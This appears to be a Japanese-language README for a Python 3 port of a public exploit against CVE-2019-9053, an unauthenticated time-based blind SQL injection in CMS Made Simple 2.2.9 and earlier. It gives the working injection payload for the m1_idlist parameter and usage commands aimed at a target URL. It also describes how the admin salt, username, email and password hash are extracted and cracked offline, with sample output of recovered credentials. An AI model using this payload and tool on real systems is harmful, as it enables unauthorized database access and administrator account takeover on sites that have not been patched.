
CMS Made Simple ≤ 2.2.9(CVE-2019-9053)向けの認証不要な時間ベースのブラインドSQLインジェクションエクスプロイトで、Python 3に移植されています。
免責事項: このツールは、認定されたペネトレーションテストおよび教育目的のみを対象としています。明示的な書面による許可なくシステムに対して実行することは違法です。作者は不正使用について一切の責任を負いません。
これは CVE-2019-9053 の公開エクスプロイトを Python 3 に移植したものです — CMS Made Simple ≤ 2.2.9 における認証不要の 時間ベースのブラインド SQL インジェクション 脆弱性です。
脆弱なパラメータは、/moduleinterface.php エンドポイント(News モジュール)の m1_idlist です。ユーザー入力はサニタイズされずに SQL クエリへ渡されるため、認証されていない攻撃者が管理者のソルト、ユーザー名、メールアドレス、パスワードハッシュを抽出でき、さらにオフラインでのパスワードクラックも可能です。
オリジナルエクスプロイト: Daniele Scanu @ Certimeter Group。
修正とクリーンアップを施した Python 3 移植版です。
このエクスプロイトは タイミングオラクル を使用します。SQL の LIKE 条件に SELECT sleep(T) を注入し、HTTP 応答時間を測定します。サーバーが T 秒以上停止した場合、注入した条件が真であることを意味します。これにより、HTTP 応答ボディにデータが一切表示されることなく、データを 1 文字ずつ 抽出できます。
Payload structure:
m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
+where+password+like+0x{hex(known_prefix+guess)}25
+and+user_id+like+0x31)+--+
抽出順序:
抽出後、オプションの オフライン辞書攻撃 がワードリストに対して MD5(salt + word) を計算します。以降のネットワークリクエストは不要です。
元のスクリプトは Python 2 用に書かれていました。以下の破壊的変更が修正されています:
pip3 install requests termcolor
| 依存関係 | 目的 |
|---|---|
requests | ターゲットへの HTTP リクエスト |
termcolor | 色付きのターミナル出力 |
# Basic extraction (no password cracking)
python3 exploit.py -u http://<target-ip>/simple
# Extraction + offline password cracking
python3 exploit.py -u http://<target-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt
| フラグ | 説明 |
|---|---|
-u, --url | CMS Made Simple インストールのベース URL |
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123
このエクスプロイトは、認定されたペネトレーションテストおよび CTF/教育目的のみ で提供されています。
所有していない、または明示的な書面によるテスト許可を得ていないシステムへの不正使用は、インドの IT 法 (IT Act, 2000) および世界各国の同等の法律に基づく犯罪行為です。
| Step | フィールド | テーブル | 備考 |
|---|
| 1 | ソルト | cms_siteprefs | パスワードをクラックするために必要 |
| 2 | ユーザー名 | cms_users | user_id = 1 (管理者) |
| 3 | メールアドレス | cms_users | user_id = 1 (管理者) |
| 4 | パスワード | cms_users | MD5(salt + password) として保存 |
| # | 変更 | 理由 |
|---|
| 1 | print "..." → print("...") | Python 3 では print は関数 |
| 2 | hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode()) | Python 3 では hashlib.md5() は bytes を必要とする |
| 3 | dict = open(wordlist) → with open(wordlist) as wordlist_file | dict は組み込み関数を隠してしまう。コンテキストマネージャに変更 |
| 4 | print "\033c" → print("\033c", end="") | ターミナルクリア時の余分な改行を回避 |
| 5 | print colored(...) → print(colored(...)) | colored() は文字列を返すため、print() ラッパーが必要 |
-w, --wordlist |
| オフラインのパスワードクラック用ワードリストのパス |
-c, --crack | パスワードクラックモードを有効化 |
| フィールド | 値 |
|---|
| CVE ID | CVE-2019-9053 |
| CVSS スコア | 7.5 (High) |
| タイプ | 認証不要の時間ベースのブラインド SQL インジェクション |
| 影響を受けるバージョン | CMS Made Simple ≤ 2.2.9 |
| パラメータ | News モジュールの m1_idlist |
| 認証の必要性 | なし |
| パッチ | CMS Made Simple 2.2.10+ |